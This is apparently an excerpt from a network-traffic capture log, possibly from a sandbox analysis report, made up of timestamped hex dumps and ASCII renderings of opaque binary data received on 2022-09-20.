Data Ascii: %8=^'"c]v>oC\|Db'!H777]GnAKHGEV~?Y;pbTLFhGK^"?6hYou[['V(xT/;=C/Jgs'z->|Z82EJGxo\\;}d5<

2022-09-20 10:10:08 UTC 5153 IN Data Raw: 91 ed de 12 57 7e 89 94 47 7c b6 a1 03 7a 8d 52 79 04 66 15 ec c5 46 97 9c bd a8 56 26 19 56 c6 80 02 ca df 
81 91 92 77 1a 7a cf de 55 84 24 4d 76 94 60 99 c7 f1 34 09 c4 96 76 91 f0 32 1c 94 05 a0 b0 fd e1 2b 2d ea 5d 94 d5 cd 
d3 0d da 2e af ce 0a 9e a2 23 6c 2a 49 28 ee 02 21 d8 49 48 cd 51 a2 7d b0 10 00 4f c0 78 fa 5d b2 9c f9 e5 13 c8 c9 31 
51 72 97 b7 8b c7 73 84 ce db 36 b2 f6 61 43 6c 3c 1b 62 ef 3e de 85 d8 23 29 24 21 9b 0d c2 24 64 3b c3 64 de d4 cf ac 
a6 68 55 8c c7 b0 fe a7 da da 38 c7 5d 18 cb 6d 73 6b 1c 77 e6 27 e8 b8 0a b9 43 0e 8e db 8c 22 62 8f a1 b7 91 a7 34 5c 
fb 88 77 5a 60 3e 20 4f c9 95 b1 b8 b6 5b 88 64 0e 25 19 c8 c2 1d 76 6f 0b 89 52 80 88 dc 5d f1 43 00 47 19 04 ee c2 82 
69 21 74 3f 8a ee 02 e5 88 0e 5c 1b ce e6 36 c6 66 b2 9f 
Data Ascii: W~G|zRyfFV&VwzU$Mv`4v2+-].#l*I(!IHQ}Ox]1Qrs6aCl<b>#)$!$d;dhU8]mskw'C"b4\wZ`> O[d%voR]CGi!t?\6f

2022-09-20 10:10:08 UTC 5161 IN Data Raw: 36 aa ff 4d da 18 8f 6d 34 b3 5e ac bf 71 08 4c bb e4 06 77 23 79 82 7a 04 cb 38 2b 8e 25 8f e0 0c ad 46 69 
26 a8 b1 cb 04 ec 60 c2 27 0e 41 2d fa 29 28 fe 1a ac 6d 73 bf af e4 98 99 a0 48 f0 c6 55 3b 91 eb 68 78 d5 3c 3c 86 70 
3e 92 30 34 e8 aa 51 3b e4 ce d0 21 df 74 c0 2a 0f 96 69 b2 21 77 94 3c 4a a6 8d 29 58 df 74 9e be 6f 66 8d de f1 69 8a 
62 2c bf 2d 4e 11 94 28 35 7c 91 22 74 d4 a8 d8 62 cf 9b 68 26 b8 5f c6 0e b6 60 07 0b b6 9a c2 e9 60 5a 6a 1f 1d 4c 3b 
df 7f 07 f7 ed 57 f2 f4 04 86 ac c0 c0 0f 05 64 e3 c8 ad 58 d2 99 8e 83 b0 5b 39 08 a5 82 b2 1b ef 05 92 b0 1b 2f 84 35 34 
8f a5 f4 81 f9 bc 30 30 ef dc a7 c4 7c e5 06 35 99 17 f9 08 e6 73 23 14 c8 de 67 e0 2c 46 ac 8f 83 68 84 34 7a 51 fe 64 36 
7a 8e 30 d6 74 02 53 66 1d b1 ad 4b 93 6b 1f 74 56 
Data Ascii: 6Mm4^qLw#yz8+%Fi&`'A-)(msHU;hx<<p>04Q;!t*i!w<J)Xtofib,-N(5|"tbh&_``ZjL;WdX[9/5400|5s#g,F
h4zQd6z0tSfKktV

2022-09-20 10:10:08 UTC 5169 IN Data Raw: 6f a0 c8 4a 50 66 17 dd a5 d2 df 66 41 7f 49 2f 45 9a b9 d2 04 e2 1b 61 49 af 9d 89 2f 0b 7c 07 49 07 56 76 
01 e9 fc f8 5b 59 26 ec 6b af 8d d6 d4 93 8e 4f 05 aa 48 4a 9e bf e3 07 24 0b 97 e5 9a c5 d3 c9 55 47 36 b1 8a 9b 18 13 
10 4b 27 7f 84 a5 93 fe 63 87 68 9e 27 fe 4c e3 87 3a f7 55 b2 34 cf 66 3e 67 57 4a fd 93 45 5e b5 f9 79 2f fe ec 1f 78 56 
44 fc de 88 b6 59 98 7c 7f 0f 5d c6 5c db 33 e9 0c 31 06 5f fe 11 ee 87 8a be 8f 89 5a 55 84 84 ba 85 a7 d9 8e f9 94 5f a6 
37 cd 9c b3 2f f0 0b d2 a9 07 58 0c 6c e6 63 3c 82 0d 55 fd 99 34 32 78 ca 6c 9e 82 af a0 8c b2 75 01 d9 71 91 9e 0f cf 
7d 51 79 76 7f 06 1b 33 b1 61 dc 38 01 dc 38 2d 05 87 2d 8e a6 c4 02 bf b3 dd 6a 27 6b 60 bc da 67 0b bc fe 55 dc 96 91 
f9 04 e6 3f df 4e 7b 31 78 e8 6d 5e 4f d8 35 8b 73 
Data Ascii: oJPffAI/EaI/|IVv[Y&kOHJ$UG6K'ch'L:U4f>gWJE^y/xVDY|]\31_ZU_7/Xlc<U42xluq}Qyv3a88--j'k`gU?
N{1xm^O5s

2022-09-20 10:10:08 UTC 5176 IN Data Raw: 20 4b 23 e7 52 b7 98 b2 23 4f 39 e8 6a bc 38 2d 91 86 2f b5 d8 bd 55 89 72 43 de cf 28 0d 3b 12 da c9 e7 41 
8e 72 0f e7 fd db af 62 bc df 5d 92 68 69 83 b3 25 1c 65 67 89 8a 32 3f 0c e5 3e 8e 72 04 a0 7c 02 50 ba 5b 50 ba 6d 8e 
c7 e3 7e da 81 61 c5 da ff 0a 25 61 b3 fb 29 23 dc 1f 96 24 70 66 a4 42 8c 40 d9 82 85 1b b9 94 40 0f f0 fb 5f 2f a0 59 db 
37 d5 c5 ed be d1 09 93 f7 ee 25 ec 8f f4 9f 5c 3f c6 d9 64 02 76 e3 c8 9e 36 23 91 a8 73 c0 ee c5 19 fd e4 25 89 b8 89 
bc 11 d2 95 0a a2 0d 0c 81 21 60 d8 0e 18 d4 19 2e 25 7e f0 c3 45 0b f4 13 ef 67 e0 b9 38 fc 43 fe f1 07 5c ea 47 a9 f3 
e7 c1 73 fd fd 86 67 f8 21 a5 96 97 e3 06 3b af 1a f3 d7 27 48 0e aa 21 11 6e 53 e3 96 9e 9d a2 56 a6 a4 a4 f0 38 c3 01 
5a fb ee 28 9e ec fc 98 0d b2 31 b5 2f 99 10 8e cd 45 
Data Ascii:  K#R#O9j8-/UrC(;Arb]hi%eg2?>r|P[Pm~a%a)#$pfB@@_/Y7%\?dv6#s%!`.%~Eg8C\Gsg!;'H!nSV8Z(1/E

2022-09-20 10:10:08 UTC 5184 IN Data Raw: b1 fa 55 c8 3d 3d 7c 83 bd cb c6 43 e2 0e 3b 94 6a 54 09 0c d3 93 ac 22 6d 0e 1f 71 f2 ca 6f 34 0d 9a bb f4 8a 
be b8 64 70 2d 3b f5 23 bc 56 08 88 35 32 31 6a 14 df 79 0c b7 06 c0 6d d3 ff 3a 94 48 10 cc 72 fb 0f 83 8c d8 c0 03 33 
29 23 40 61 63 1c 85 6a 80 42 ed ec b8 d0 49 33 16 48 73 27 7b 82 0c a4 8b 91 4f 45 9d 54 a4 e5 5d 75 cf 04 7a 1b 54 f7 
10 f9 5c dc 4d 0d 6f ae 93 39 29 ff e7 fd 34 b6 df ec 81 9f 87 dc 58 02 33 58 b8 47 40 9b c7 a0 19 14 bd 46 1b 98 a2 f6 f1 
44 d1 20 a7 68 ec 6b a0 a8 da 08 e7 12 52 ae d1 5d 3a 16 b7 e0 84 26 42 21 80 f6 fe 1f 77 d7 1e d7 55 95 ed 0f 0f e1 87 
91 50 17 5f a3 25 e5 0b cb 07 4e 2f 2d 35 ae 49 3a 29 f5 4b c1 b1 99 1e 58 8e a3 65 56 06 8d ce f8 6a 7e 30 4a f8 28 87 
cc d4 14 8d 12 8d 49 54 44 34 54 54 12 34 26 c9 98 
Data Ascii: U==|C;jT"mqo4dp-;#V521jym:Hr3)#@acjBI3Hs'{OET]uzT\Mo9)4X3XG@FD hkR]:&B!wUP_%N/-5I:)KXeVj
~0J(ITD4TT4&

2022-09-20 10:10:08 UTC 5192 IN Data Raw: d6 b3 0a 57 0f b1 8f cd e7 2c 37 81 cd 77 fc 7f ae be aa 62 6b 3a 64 71 3a 78 38 1d 62 dd f0 fe bd 38 d2 ea 5b 
55 6c bd fa 44 33 25 bc 99 03 4f b0 66 86 17 87 6d 02 b3 2b 3b b3 09 cc 3f 60 da 04 f6 87 2f bf 1f 0f b4 bb 09 3c 5c 2d 2d 
bf fd 51 6f 02 a1 b7 4c 9b c0 03 a6 6e 9f 3c 10 79 13 38 7f 48 5a 79 0f 58 6d 02 fb b2 7f de 26 f0 ef 75 d6 e4 9f cb c9 ff 3c 
27 ff cd 6b e1 fe 73 9d b6 09 ec f8 f9 9b 40 b7 0e 51 ed 0c 1b de b0 ce 9a 0d 57 f3 01 6c e7 03 28 2c 62 03 f8 ce 1d 89 0d 
e1 8b 15 1d 44 33 ff c3 9b 19 03 cd 6c 73 3b 3a 96 f4 3f ed 33 49 7a 0b 56 7b 7a 7f bb 92 de 76 d0 9a d5 74 99 9b ad c9 
5c b3 a4 5f b3 4f 92 b9 56 fc 76 f9 7e 49 e6 9a 24 bd af ca 82 df c2 64 ee e7 15 91 64 ee d0 e9 91 8f 47 72 b6 2e ed 08 
2b 0a e8 c8 94 5d 3b 49 8f a7 fd 7d 65 a2 
Data Ascii: W,7wbk:dq:x8b8[UlD3%Ofm+;?`/<\--QoLn<y8HZyXm&u<'ks@QWl(,bD3ls;:?3IzV{zvt\_OVv~I$ddGr.+];I}e

Timestamp
kBytes
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Direction Data
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2022-09-20 10:10:08 UTC 5200 IN Data Raw: 6d 35 99 d0 45 5f d5 02 38 59 3e eb 71 70 62 31 2c 28 ed d1 b6 45 69 99 4a 77 8d 4e 62 79 32 0f 0b ab 41 7b 
96 6e 67 f9 43 16 6e b4 69 7b 80 8b 10 08 d3 0d 1f 3f 68 d7 e6 47 54 26 d5 a3 fd 34 cf f1 e3 76 4b c8 81 7b 6a 03 8a 93 
31 09 69 7d 71 75 11 5d 45 f5 ad 3b 09 f3 22 5a 68 0f 7f 40 5c 56 74 f6 e1 ec 98 47 92 f4 44 11 f1 ad e9 b2 88 9f a6 bc da 
2d 57 51 5e 87 d9 a8 88 9f 1b 4e a4 9b 9e 1e e5 44 0f 44 93 9e 1e bd a5 38 9a 34 86 e6 16 40 b3 cb 4d 0f bc d0 d2 df f3 
43 47 2c 51 17 21 be ee 96 71 af 33 b0 38 82 e1 4e 00 dc f7 ea b8 ab e9 a9 4c b3 54 8b aa 1d 86 10 59 7f 03 f2 4f 0d c8 
47 f1 fa a7 41 fd 11 39 24 a6 d4 d6 e3 6d 3d 02 fb 9b 0e 43 a6 bf c3 b0 bb 9a 90 8c 87 05 a7 0a 4b 8b f3 2b da 54 b8 d0 
1e 4f 71 59 32 81 9e cf 49 47 2f 99 66 b8 af ea 5b 33 
Data Ascii: m5E_8Y>qpb1,(EiJwNby2A{ngCni{?hGT&4vK{j1i}qu]E;"Zh@\VtGD-WQ^NDD84@MCG,Q!q38NLT
YOGA9$m=CK+TOqY2IG/f[3

2022-09-20 10:10:08 UTC 5208 IN Data Raw: 4e 14 5d 6f 03 ba cb 93 4c b6 e3 47 b8 d2 03 a0 7f fd ae 14 e5 56 e8 f6 75 15 af 32 bf 5b 71 17 ee 92 90 66 54 
67 83 a5 3a 05 d5 96 ea 9c 39 63 a5 4e c5 91 44 d5 99 50 2d ab c3 17 e7 ea ea f8 22 1d 75 bf 25 ba 5d 47 2c d1 e5 59 
a2 bb 26 61 74 e5 47 64 74 1b cd f6 bb 61 68 0a 0e f0 3c 13 81 52 b5 44 d9 d5 1a e5 a6 9f ac 50 2e f8 22 51 94 97 ca 28 
e5 69 df 04 56 2a 61 7a 2e 4f 7c f7 66 c6 b9 d7 f0 7e 7c 4e 66 ed e0 9c 06 4f 77 d6 80 e5 13 42 e5 ad 9d 17 0c ef c7 a7 fc 
48 33 74 58 30 20 37 9c b7 fc 4d 6f e2 d6 89 82 6d 84 28 d8 b2 45 c1 36 44 14 6c 83 5a 8d 0d 5a b0 2c 8f e2 40 e5 fe ac 
44 a3 61 8d c8 b6 ec bb 15 d6 6d 59 37 d5 9f b0 d6 18 50 27 95 b3 b6 ac 87 13 93 e1 c5 9c f4 76 87 ad 0c 2f a6 9e 07 4a 
00 a6 68 f6 7c 09 b3 8e 4b e0 0d 34 7b 38 45 16 2a e2 
Data Ascii: N]oLGVu2[qfTg:9cNDP-"u%]G,Y&atGdtah<RDP."Q(iV*az.O|f~|NfOwBH3tX0 7Mom(E6DlZZ,@DamY7P'v/J
h|K4{8E*

2022-09-20 10:10:08 UTC 5216 IN Data Raw: 7e ba de bc 40 b0 fc 6f 69 81 20 9b 67 e6 05 83 69 88 af 5e e7 d0 42 2d 0f 3b d8 06 f0 26 c1 c9 24 49 7c a3 
10 2a eb fa a8 a3 98 31 87 8a b2 79 ba e3 75 12 b4 91 bb a7 85 99 ee cc 11 58 63 b8 79 11 61 e8 2c dc d1 f7 3a 6b f6 2d 
b8 11 98 37 9e 79 b3 ba dd 0d 4e a9 fb 40 88 63 c6 17 1a a2 ef 1f c4 d0 e2 eb a8 1a 31 29 d3 83 b9 13 e9 66 1c dc ec 18 
45 05 c1 94 60 8e 11 7c 35 9e fc 07 a3 22 36 6f 27 96 cc ea b5 39 a5 6c ee 75 03 25 c0 69 d4 83 d8 02 b9 c7 a5 d9 4c 9b 
2f f8 61 74 b4 a9 ef 87 36 f3 6f 8e 86 36 c8 80 af bd 88 b4 c9 91 b4 01 2f d3 6c 49 1b 10 40 53 4d b4 71 86 23 4b 3b ef c1 
e9 66 02 ca 9b ce 05 44 ad 9b 94 af 63 f3 86 88 a6 a2 d3 5a cc f2 83 e4 3c 8a a0 e5 50 74 1e c9 42 55 82 fe ef 4c 13 41 
73 2e 9c a2 ef 5c 10 45 b5 fc be 29 fa cd 4d 44 51 62 
Data Ascii: ~@oi gi^B-;&$I|*1yuXcya,:k-7yN@c1)fE`|5"6o'9lu%iL/at6o6/lI@SMq#K;fDcZ<PtBULAs.\E)MDQb

2022-09-20 10:10:08 UTC 5223 IN Data Raw: 07 a3 c8 de 47 19 25 11 db ea c9 34 32 63 82 c1 72 53 da b9 67 cb 17 4b 3c 15 d7 4b d3 f0 e8 26 8b db 74 dc 
0b fe fd d3 89 db 35 8a 3d 74 f0 77 13 24 81 06 08 c7 48 dd 2f b5 6b e2 11 25 86 ca b7 69 14 9e 08 d7 5e 36 1e bc af aa 
2f cd ce 59 41 8a 4c 74 31 9e 5d c0 55 1e 2c 41 78 05 32 83 8d c7 2d 42 be 34 48 7c 29 82 3e ea 56 34 aa 99 c6 6f b3 
23 ca 1a b4 81 50 65 8b f7 41 85 d9 27 f9 1a 94 b8 47 c4 3f 7a 1d cd 0f d9 1d 98 3a 25 ad e3 7b ce d3 8e c7 76 dd 78 6c 
e2 e3 31 24 87 8d c7 b2 f3 ac 28 8b ab 36 31 fb b1 7c ad 0f 69 48 b3 89 f1 94 0d ca 50 75 28 43 85 7c f8 37 05 99 24 25 
e0 b0 82 a1 9b d3 d1 61 e1 2f 33 6e c9 14 62 06 60 17 54 80 37 dd 28 ca 9e c1 7d ad 03 4e 89 1c 68 f5 ef 45 3e 1f 35 fd 
d5 a5 56 72 33 c0 92 1f 4a 29 87 3e fa dc f7 1f 7a 25 58 ba 
Data Ascii: G%42crSgK<K&t5=tw$H/k%i^6/YALt1]U,Ax2-B4H|)>V4o#PeA'G?z:%{vxl1$(61|iHPu(C|7$%a/3nb`T7(}N
hE>5Vr3J)>z%X

2022-09-20 10:10:08 UTC 5231 IN Data Raw: 1a 79 0f 3f e1 ca 3f 3a 71 1e ff f3 a0 1c 91 1d 35 cb 1f c4 03 43 8a d9 70 33 f4 32 5f ce 47 63 f1 4d 07 89 67 aa 
f7 9c 4c 3c 27 2e 43 85 89 83 8a 5a 8f 79 15 55 c8 f5 93 40 3f fc f5 f6 d6 01 a5 d4 86 8b 4b 65 0b b8 a7 5e 34 72 23 07 
10 7c 1f 81 b7 19 ca db 7b c4 db 5b 58 5e fb 1d f0 76 bd f2 f6 5a f1 b6 0a de 5e 01 6f 93 d6 c8 6f fb 89 b7 a9 6b 50 a4 86 
0a d4 f2 7c 7e 49 4c ef 25 fc 64 a1 70 19 6b 25 fe e1 3a 53 ff e6 89 aa eb d8 bf 75 a2 fa e7 f7 54 e7 83 f5 a6 46 ee 42 59 
23 d0 36 16 ab 7c f7 45 79 10 89 98 b2 2e d6 79 fa 7a 20 72 6a ca c5 b1 3c 7d 6d b5 a5 4e 48 70 0c 17 c9 7e 8e c1 22 69 
75 f4 15 c9 fe e2 40 39 c6 82 db 12 b5 e0 ae 2f ee c1 8f 0a 1c 20 38 2c ec 37 ce 99 dc 7e b1 d8 05 2b ab cc 52 7b 92 50 
38 2a a9 82 0b 12 a5 b5 5f ac ea f1 fe da 13 
Data Ascii: y??:q5Cp32_GcMgL<'.CZyU@?Ke^4r#|{[X^vZ^ookP|~IL%dpk%:SuTFBY#6|Ey.yz rj<}mNHp~"iu@9/ 8,7~
+R{P8*_

2022-09-20 10:10:08 UTC 5239 IN Data Raw: ec 1a 7e 98 b2 eb e3 8c 5d 37 bc 0c f9 cf 56 c2 d9 65 ae e6 ea 98 a7 b9 3a 16 69 4e 86 5b 98 93 e1 85 9e 31 
98 83 49 fd f1 10 2e 81 23 bd d8 90 8f 19 a2 88 44 36 a8 43 0e eb 06 15 17 bc 53 c9 7c 50 1b a3 14 86 91 25 86 69 bb c3 
b9 a1 30 0a 63 44 5a f6 42 8c 08 ef b4 8b 36 02 59 bb 07 d9 27 7c db 8d 0a 87 05 12 1e 33 2d 6a ae 86 6b 35 e2 12 40 
d2 1e 63 fd 22 5f 3d d8 0f 9c c8 b9 f4 c1 8e 13 1c 99 0c c7 96 0e 70 fc fa 08 c7 11 49 70 b8 2b 0a b0 c5 13 bd fb 80 22 47 
e1 85 7a 27 03 55 2f 93 25 95 90 25 63 00 ba 45 97 6b 20 ce f7 94 48 92 d0 25 6d 99 ae e3 4f 17 67 43 c8 48 cf dc 81 5a 
8c 1e 14 e4 63 81 f4 ce 5b 88 5d 9b bc 24 ff d1 14 d1 cd 97 fb 92 6e e6 61 32 0a ca 7f d4 e7 3b 67 14 04 21 fe 61 8c 85 
97 eb 87 3a 37 34 4e 69 9a 48 9a 55 ec 40 f8 e1 02 b7 03 
Data Ascii: ~]7Ve:iN[1I.#D6CS|P%i0cDZB6Y'|3-jk5@c"_=pIp+"Gz'U/%%cEk H%mOgCHZc[]$na2;g!a:74NiHU@

2022-09-20 10:10:08 UTC 5247 IN Data Raw: b1 9d ef 7a 7d 6a 68 93 dd 05 ee 1f 66 15 45 51 24 b6 c4 4e 76 6a d1 c3 58 3d d4 38 8c 47 68 18 95 63 bc 4b 
8f d0 30 be 3b 88 0d e3 cc a1 24 37 db ad 40 15 9a 40 35 9a 40 fd 94 40 6d 06 50 97 32 08 94 c3 0a d4 f9 0c 23 a8 33 26 
50 2b 08 d4 f5 00 6a bf 00 e5 b4 02 f5 a2 09 d4 57 26 50 3e 02 f5 d5 40 06 ea 81 0c 93 b1 6d c7 3f a5 73 f9 bc ae 2d 58 
bb 30 42 b9 42 d9 14 b9 5e 60 21 9d b9 66 bc 95 22 ec e5 c1 30 bf dd 10 92 fa 66 75 e9 9f 21 c7 09 08 26 dc f3 8b 23 ec 
2c aa 23 66 33 05 b0 38 7d 21 41 b4 18 ee 4d 2d 7c 71 8a 3c 4c 5a 2a d5 8c ca 0e 87 6b 93 1f 24 68 7b 55 d3 31 8c 77 
0b f7 c9 1b 4f a2 50 dd 6c 50 62 a2 58 f6 e1 ac 11 c0 8f 6d ff 8d 92 31 54 fd 75 ac aa ab 7b a0 55 49 db 7a ad ea aa 58 
55 3f 2a e1 50 6f c3 aa ed ac ea 8f 2c aa 62 32 c9 be 13 33 
Data Ascii: z}jhfEQ$NvjX=8GhcK0;$7@@5@@mP2#3&P+jW&P>@m?s-X0BB^`!f"0fu!&#,#f38}!AM-|q<LZ*k$
h{U1wOPlPbXm1Tu{UIzXU?*Po,b23

2022-09-20 10:10:08 UTC 5255 IN Data Raw: 26 6c bc 5f ea c8 17 99 f9 93 d6 80 5d 12 0d 92 44 93 db 81 a4 d4 89 1a 2a 6e 17 e7 51 f1 35 56 bc 19 32 2b 
34 0c aa eb bc 3b 45 86 4f cc 9b de a9 e3 83 d2 31 fb 1e f3 44 7c 7b ad b5 cf 39 fb 9c 7b ee 8d f9 3e 3e ee 3e 67 af bd f6 
3a 6b ff ad b5 f6 de 6b e1 27 ad 13 34 8d 79 5c d3 58 27 0e a4 42 d4 34 0a 91 0b 2d ba 54 8e 78 4f df 03 82 6f cb a0 ae 
69 14 6a 3d 76 1d f5 d8 75 d8 63 ab b8 9a b3 40 ad bc 1a 2b 2f 12 2a 5f c0 2b 2f 8a 54 39 19 bb f6 6a 95 af c3 ca f7 5a 
56 5e 44 95 17 61 e5 d5 bc f2 7c b5 f2 5a ac dc 2d 54 9e cf 2b 77 47 aa 9c 74 f0 66 ad f2 33 0b a1 f2 66 cb ca dd 54 b9 
1b 2b af 1d 24 1d 0b c7 08 d9 81 e8 3f a2 d9 f8 57 d0 89 76 0d ea 1a c6 02 84 43 03 19 fd 47 b8 85 08 57 27 c0 e5 23 1c 
9a d3 e8 3f 39 27 40 b8 fa 41 5d 13 c9 1d 34 e8 58 6b 
Data Ascii: &l_]D*nQ5V2+4;EO1D|{9{>>>g:kk'4y\X'B4-TxOoij=vuc@+/*_+/T9jZV^Da|Z-T+wGtf3fT+$?WvCGW'#?9'
@A]4Xk

2022-09-20 10:10:08 UTC 5262 IN Data Raw: 61 e7 de 05 30 19 b5 fd 8f ac e4 09 41 73 b1 d6 c7 58 ab 0e 34 37 87 bc 3f 49 be 93 e4 61 f4 be af 31 ae 8e 
cd c5 70 43 a5 bd 00 ea 1d 04 f5 7e ff c3 02 54 f4 6e ee 96 af e6 bf c9 01 c1 d5 28 8d 13 94 37 b8 dc 24 18 32 7a 43 d5 
21 5d 92 c0 9d eb 1c 06 16 0f c1 13 6f 22 c8 3e 26 f6 01 e9 35 84 1c 63 bc 80 bd 68 04 3c 9b c3 2a a0 fa 01 ab bf 70 6a 
98 84 21 ca ea 25 37 e2 78 2c c7 b1 c3 fc 02 85 38 7e 64 16 48 04 ea 49 21 59 e3 2f eb 84 fd ca 73 2e 12 ce c1 6a 10 45 
ac 6d 43 51 84 8f 7d f8 73 ea d9 da 4b 45 c1 03 44 de 42 67 99 64 70 ca 81 d6 ca 0d ad 99 ea 3f 67 5a 8d cd f8 9c 8d be 
bc 26 39 3f 5e 1d 9e c5 7d 0d a8 89 f2 9a ec db eb 2d 87 5b a9 86 df dd f0 1e e1 a6 fe 79 e1 03 44 b5 7c dc 1d 6d 76 7e 
9a 94 71 a8 ff d1 95 37 aa 2a b2 88 20 eb 7d 0a 47 d0 e1 
Data Ascii: a0AsX47?Ia1pC~Tn(7$2zC!]o">&5ch<*pj!%7x,8~dHI!Y/s.jEmCQ}sKEDBgdp?gZ&9?^}-[yD|mv~q7* }G

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 5270 IN Data Raw: 53 cd 80 a5 ea 20 2d 0b 93 04 26 1f f3 3d c7 dc bc 36 23 de 5a c6 db e3 87 c9 b3 96 97 99 21 94 05 b4 f0 b8 
c6 cd 5d 8b 82 38 ce ec 66 a6 29 58 87 b5 d7 29 75 ee 7d 03 d4 79 9d a6 ce a1 84 2e 7e f1 83 73 6d 16 4d 76 5b c9 68 
df 7b 60 c7 d2 23 8d 25 f9 ca 73 f7 b6 0b 64 64 2c 34 76 3b 6d 54 53 a3 3f 7f 1b fc 33 93 89 ce 44 8e cd cb 9a 64 5f 06 
99 c0 97 f5 39 69 77 93 3e 86 8d 22 2b 52 c9 91 a8 af 87 65 a1 da 3d bc ad c3 97 1e 97 11 bd fa 4f 10 4d a8 5b 5d 8f 62 
05 39 a2 82 56 8e ae 91 fb 39 b9 b7 97 bf bf 15 bf 65 1f 8e 1f 50 16 55 15 67 c6 40 11 b8 0d 8f 4e 37 8b e0 ef 66 ad c8 4c 
b3 c8 5d a2 08 36 a3 8d 36 32 8b e8 b2 39 41 33 d9 ca 1c 40 e7 61 7e f1 2f 5a 70 0e 16 6a 4f 4c b4 92 fa db 05 cc 8b e8 
b0 48 f2 09 c9 06 40 32 35 26 92 bc 91 91 3c 41 48 9e 01 
Data Ascii: S -&=6#Z!]8f)X)u}y.~smMv[h{`#%sdd,4v;mTS?3Dd_9iw>"+Re=OM[]b9V9ePUg@N7fL]6629A3@a~/ZpjOLH
@25&<AH

2022-09-20 10:10:08 UTC 5278 IN Data Raw: 7b c6 6c 6a 2c f1 c7 0c 41 e7 d3 73 55 41 a7 88 3f 56 c3 ce 42 35 20 e5 dc 0e f8 3a b8 91 b3 94 73 0e 6d 51 
e5 9c ac 40 37 df 0e a4 f9 dd c5 5b cf 85 a4 f9 1d 14 c0 44 19 8a 82 fa f3 b7 a0 80 54 50 57 e1 e1 80 22 3e 66 69 14 48 
66 4e 1a 8f 70 66 e8 c1 0f cd 51 f4 e0 96 d4 9e fb 37 58 a5 0a ea dc f3 43 77 ad e2 8c 1f bb d7 e8 81 3d df c7 18 3d 00 4c 
47 21 e4 c1 39 4a 48 35 f6 cd de a2 99 09 b9 6d 8e 49 d3 ee c7 9b 01 67 80 b6 59 44 88 77 36 10 e2 57 09 49 e8 81 10 
c7 86 1e 4f 68 10 8b 0b 58 8d 82 e5 47 b3 4d 58 b6 21 81 06 8e c1 ef 62 54 1c db 90 cd 13 8e 0f 10 8e 57 23 8e a6 00 6e 
0f cf 8e 8e e3 83 eb cf f7 98 b3 f1 b0 79 bf b1 0d a2 6b 14 b1 f4 16 da 6f be 3d c0 f6 9b fb 0f e3 35 4a 25 e2 c8 2c 53 47 
73 1a 0d 64 6d 48 a3 30 db 54 08 54 98 fa 24 06 c2 44 
Data Ascii: {lj,AsUA?VB5 :smQ@7[DTPW">fiHfNpfQ7XCw==LG!9JH5mIgYDw6WIOhXGMX!bTW#nyko=5J%,SG
sdmH0TT$D

2022-09-20 10:10:08 UTC 5286 IN Data Raw: 47 53 0c 31 e3 d0 ce 62 fc 72 9e 4d e7 a5 08 23 23 fe e7 4c dc 09 4e 94 99 94 83 d9 b1 15 9f 11 30 4b 11 8c 
cd 26 f1 e7 5f 40 2e d5 cd a3 17 0d 12 dd 91 ac 35 07 a8 a1 87 8e 97 42 73 51 e3 ac 5f fe 5a 04 ad a0 32 1c 75 bc 24 fa 
08 23 6f 66 f1 47 51 f5 db 26 c0 02 56 ef 01 69 86 3c 59 b2 21 02 1f d9 4b 96 05 3a ed ef ef c4 07 1c d1 33 7f 24 4a 4b ee 
f8 f1 ae ec f1 89 90 ab 89 46 d2 8b d0 8d 8a be 39 19 65 da 8c 95 dc 32 06 a1 3a d4 71 c2 06 77 77 b1 a8 46 86 a6 8d 4c 
ca 44 99 dc b6 f3 cf 68 59 e6 04 fd c6 4f e3 b1 7f d0 f9 24 15 ea 30 14 c2 9a a5 5d fd 26 35 85 f2 07 1c c5 96 7e a0 b8 7b 
85 5d 87 08 26 14 dd 82 bd 56 6f cc 6c c1 de c9 0a 8b b8 55 0f 5a 85 f0 30 3b 2d f1 87 75 c1 26 dd 68 6a d9 e2 88 62 02 
69 b9 23 84 42 b7 dc 5d 00 47 48 98 65 9c 2b c0 a0 
Data Ascii: GS1brM##LN0K&_@.5BsQ_Z2u$#ofGQ&Vi<Y!K:3$JKF9e2:qwwFLDhYO$0]&5~{]&VolUZ0;-u&hjbi#B]GHe+

2022-09-20 10:10:08 UTC 5294 IN Data Raw: 81 c5 40 b8 07 67 88 4b 6a 82 db f6 db e8 92 5a ec 10 bf a4 36 be 3f af d7 3a 1a e6 35 09 2e a9 f9 dc 6c ae 
b4 e3 52 53 e7 13 7f 49 4d f0 5a da 10 7f 49 ad 1b f2 3c fe 59 7f 46 fe 3f d9 32 51 7d 6e 2c dc 53 84 f6 54 93 c1 eb c7 c6 
0b 62 82 dc 16 0b 32 97 91 39 29 88 0a 97 bf 30 2a 6e 02 95 92 18 f7 dc ad 3b e1 d5 89 6b 89 62 dc 01 62 64 e0 6a 75 
01 ae 81 f5 eb 68 a1 5e 14 bf 08 8a 1f ef ab 15 07 44 e6 f2 75 fc a0 04 9f 03 1d 63 b8 30 ae 99 3d 53 3b dc 8f 51 fb 7d 5f 
4c 08 41 c2 9f c6 81 3e 8a 91 5e 71 54 82 6f b0 f3 33 ef c0 be 7c 3c 32 b9 4c 6e a3 e0 1f 8a 35 b5 88 d6 39 3f 11 2f 7d 19 
5a 92 93 ac 00 1f a8 38 9a e0 36 d3 f4 5d d9 c6 3e 50 4b 05 10 43 0b ea 84 2b a0 7c b9 41 a0 dc 5f c6 83 fd 5c 17 35 4e 
be f1 fe c8 de 31 46 7f 64 cc 4c e3 60 73 3b f8 60 
Data Ascii: @gKjZ6?:5.lRSIMZI<YF?2Q}n,STb29)0*n;kbbdjuh^Duc0=S;Q}_LA>^qTo3|<2Ln59?/}Z86]>PKC+|A_\5N1
FdL`s;`

2022-09-20 10:10:08 UTC 5301 IN Data Raw: fa ae 24 c3 9e 60 ae 6d ac 0d 67 19 77 36 1d 64 ae 24 7c 09 70 0b d8 97 60 d9 4a 33 61 2b 65 94 20 d3 ab f4 
5f 9e 7a 51 6b ff 5f 1d 74 a5 cd 2c 33 08 4e f7 69 df ad 5d a5 5b 87 a0 5d 79 97 ea 3f b7 7a 4a 47 e1 b8 6d 02 d1 65 c7 6f 
77 11 15 28 ee bd ac 79 71 ce 2a 3d a6 03 bc 01 1f af e1 1d 42 05 f1 43 70 9a 00 05 1a d8 97 27 41 12 40 82 46 00 05 87 
f4 05 30 83 09 20 9d 09 a0 3b 73 9e f9 cd d7 5c 00 83 e1 b5 f6 ec b5 35 ac cf e5 ea f7 39 74 ad 48 dc 48 aa 32 01 a1 ed 
